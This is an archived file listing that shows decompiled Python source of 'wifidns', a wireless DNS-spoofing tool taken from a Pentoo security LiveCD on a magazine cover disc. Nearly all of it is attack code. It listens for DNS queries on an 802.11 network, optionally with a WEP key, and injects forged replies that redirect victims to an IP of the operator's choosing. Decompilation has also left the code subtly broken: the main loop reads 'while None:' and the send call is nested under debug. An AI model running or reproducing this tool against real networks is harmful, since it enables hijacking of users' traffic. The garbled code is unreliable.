home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / python2.4 / site-packages / wifidns.pyc (.txt) < prev    next >
Python Compiled Bytecode  |  2006-03-29  |  6KB  |  189 lines

  1. # Source Generated with Decompyle++
  2. # File: in.pyc (Python 2.4)
  3.  
  4. import os
  5. import sys
  6. import getopt
  7. import struct
  8. import re
  9. import string
  10.  
  11. try:
  12.     import psyco
  13.     psyco.full()
  14. except ImportError:
  15.     print 'Psyco optimizer not installed, running anyway...'
  16.  
  17. from socket import *
  18. from fcntl import ioctl
  19. from select import select
  20. from scapy import Raw, Ether, PrismHeader, Dot11, Dot11WEP, LLC, SNAP, sendp, conf
  21. from scapy import IP, UDP, DNS, DNSRR
  22. IN_IFACE = 'ath0'
  23. OUT_IFACE = 'ath0'
  24. HAS_PRISM = 1
  25. WEP = 0
  26. KEYID = 0
  27. DEBUG = 0
  28. VERB = 0
  29. BSSID = ''
  30. UBSSID = ''
  31. IPDNS = ''
  32. WEPKEY = ''
  33.  
  34. def usage(status = 0):
  35.     print 'Usage: wifidns -b <BSSID> -a <IP> [-o <iface>] [-i <iface> [-p]]'
  36.     print '                          [-w <WEP key>] [-k <key id>]] [-d [-v]]'
  37.     print '                          [-h]'
  38.     print '     -b <BSSID>    specify BSSID for injection'
  39.     print '     -a <IP>       specify IP address for DNS answers'
  40.     print '     -o <iface>    specify interface for injection (default: ath0)'
  41.     print '     -i <iface>    specify interface for listening (default: ath0)'
  42.     print '     -p            listening interface does not provide Prism Headers'
  43.     print '     -w <key>      WEP mode and key'
  44.     print '     -k <key id>   WEP key id (default: 0)'
  45.     print '     -d            activate debug'
  46.     print '     -v            verbose debugging'
  47.     print '     -h            this so helpful output'
  48.     sys.exit(status)
  49.  
  50. opts = getopt.getopt(sys.argv[1:], 'b:a:o:i:w:k::pdvh')
  51. for opt, optarg in opts[0]:
  52.     if opt == '-b':
  53.         UBSSID = optarg
  54.         continue
  55.     if opt == '-a':
  56.         IPDNS = optarg
  57.         continue
  58.     if opt == '-o':
  59.         OUT_IFACE = optarg
  60.         continue
  61.     if opt == '-i':
  62.         IN_IFACE = optarg
  63.         continue
  64.     if opt == '-p':
  65.         HAS_PRISM = 0
  66.         continue
  67.     if opt == '-w':
  68.         WEP += 1
  69.         WEPKEY = optarg
  70.         continue
  71.     if opt == '-k':
  72.         KEYID = int(optarg)
  73.         continue
  74.     if opt == '-d':
  75.         DEBUG += 1
  76.         continue
  77.     if opt == '-v':
  78.         VERB += 1
  79.         continue
  80.     if opt == '-h':
  81.         usage()
  82.         continue
  83.  
  84. if not UBSSID:
  85.     print '\nError: BSSID not defined\n'
  86.     usage()
  87.  
  88. if not IPDNS:
  89.     print '\nError: IP not defined\n'
  90.     usage()
  91.  
  92. if re.match('^([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}$', UBSSID):
  93.     for i in range(17):
  94.         BSSID += UBSSID[i].lower()
  95.     
  96. else:
  97.     print '\nError: Wrong format for BSSID\n'
  98.     usage()
  99. if not re.match('^(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])$', IPDNS):
  100.     print '\nError: Wrong IP address\n'
  101.     usage()
  102.  
  103. if HAS_PRISM:
  104.     print 'IN_IFACE:   %s (Prism headers in capture)' % IN_IFACE
  105. else:
  106.     print 'IN_IFACE:   %s (no Prism headers in capture)' % IN_IFACE
  107. print 'OUT_IFACE:  %s' % OUT_IFACE
  108. print 'BSSID:      %s' % BSSID
  109. print 'IP:         %s' % IPDNS
  110. if WEP:
  111.     tmp_key = ''
  112.     if re.match('^([0-9a-fA-F]{2}){5}$', WEPKEY) or re.match('^([0-9a-fA-F]{2}){13}$', WEPKEY):
  113.         tmp_key = WEPKEY
  114.     elif re.match('^([0-9a-fA-F]{2}[:]){4}[0-9a-fA-F]{2}$', WEPKEY) or re.match('^([0-9a-fA-F]{2}[:]){12}[0-9a-fA-F]{2}$', WEPKEY):
  115.         tmp_key = re.sub(':', '', WEPKEY)
  116.     elif re.match('^([0-9a-fA-F]{4}[-]){2}[0-9a-fA-F]{2}$', WEPKEY) or re.match('^([0-9a-fA-F]{4}[-]){6}[0-9a-fA-F]{2}$', WEPKEY):
  117.         tmp_key = re.sub('-', '', WEPKEY)
  118.     else:
  119.         print '\nError : Wrong format for WEP key\n'
  120.         usage()
  121.     
  122.     g = lambda x: chr(int(tmp_key[::2][x], 16) * 16 + int(tmp_key[1::2][x], 16))
  123.     for i in range(len(tmp_key) / 2):
  124.         conf.wepkey += g(i)
  125.     
  126.     print 'WEP key:    %s (%dbits)' % (WEPKEY, len(tmp_key) * 4)
  127.     if KEYID > 3 or KEYID < 0:
  128.         print 'Key id:     %s (defaulted to 0 due to wrong -k argument)' % KEYID
  129.         KEYID = 0
  130.     else:
  131.         print 'Key id:     %s' % KEYID
  132. elif KEYID != 0:
  133.     print 'WEP not activated, key id ignored'
  134.  
  135. if not DEBUG:
  136.     if VERB:
  137.         print 'DEBUG not activated, verbosity ignored'
  138.     
  139. else:
  140.     print 'DEBUG activated'
  141.     if VERB:
  142.         print 'Verbose debugging'
  143.     
  144. conf.iface = OUT_IFACE
  145. if HAS_PRISM:
  146.     s = conf.L2listen(iface = IN_IFACE, filter = 'link[144]&0xc == 8 and link[145]&0xf == 1')
  147. else:
  148.     s = conf.L2listen(iface = IN_IFACE, filter = 'link[0]&0xc == 8 and link[1]&0xf == 1')
  149.  
  150. try:
  151.     while None:
  152.         dot11_frame = s.recv(2346)
  153.         if DEBUG and VERB:
  154.             if dot11_frame.haslayer(Dot11WEP):
  155.                 os.write(1, 'Received WEP from %s\n' % IN_IFACE)
  156.             else:
  157.                 os.write(1, 'Received from %s\n' % IN_IFACE)
  158.         
  159.         if dot11_frame.getlayer(Dot11).addr1 != BSSID:
  160.             continue
  161.         
  162.         if dot11_frame.haslayer(DNS) and dot11_frame.getlayer(DNS).qr == 0:
  163.             if DEBUG:
  164.                 os.write(1, 'Received DNS Query on %s\n' % IN_IFACE)
  165.                 if VERB:
  166.                     os.write(1, '%s\n' % dot11_frame.summary())
  167.                 
  168.             
  169.             dot11_answer = Dot11(type = 'Data', FCfield = 'from-DS', addr1 = dot11_frame.getlayer(Dot11).addr2, addr2 = BSSID, addr3 = dot11_frame.getlayer(Dot11).addr3)
  170.             if WEP:
  171.                 dot11_answer.FCfield |= 64
  172.                 dot11_answer /= Dot11WEP(iv = '111', keyid = KEYID)
  173.             
  174.             dot11_answer /= LLC(ctrl = 3) / SNAP() / IP(src = dot11_frame.getlayer(IP).dst, dst = dot11_frame.getlayer(IP).src)
  175.             dot11_answer /= UDP(sport = dot11_frame.getlayer(UDP).dport, dport = dot11_frame.getlayer(UDP).sport)
  176.             dot11_answer /= DNS(id = dot11_frame.getlayer(DNS).id, qr = 1, qd = dot11_frame.getlayer(DNS).qd, an = DNSRR(rrname = dot11_frame.getlayer(DNS).qd.qname, ttl = 10, rdata = IPDNS))
  177.             if DEBUG:
  178.                 os.write(1, 'Sending DNS Reply on %s\n' % OUT_IFACE)
  179.                 if VERB:
  180.                     os.write(1, '%s\n' % dot11_frame.summary())
  181.                 
  182.                 sendp(dot11_answer, verbose = 0)
  183.             
  184. except KeyboardInterrupt:
  185.     print 'Stopped by user.'
  186.  
  187. s.close()
  188. sys.exit()
  189.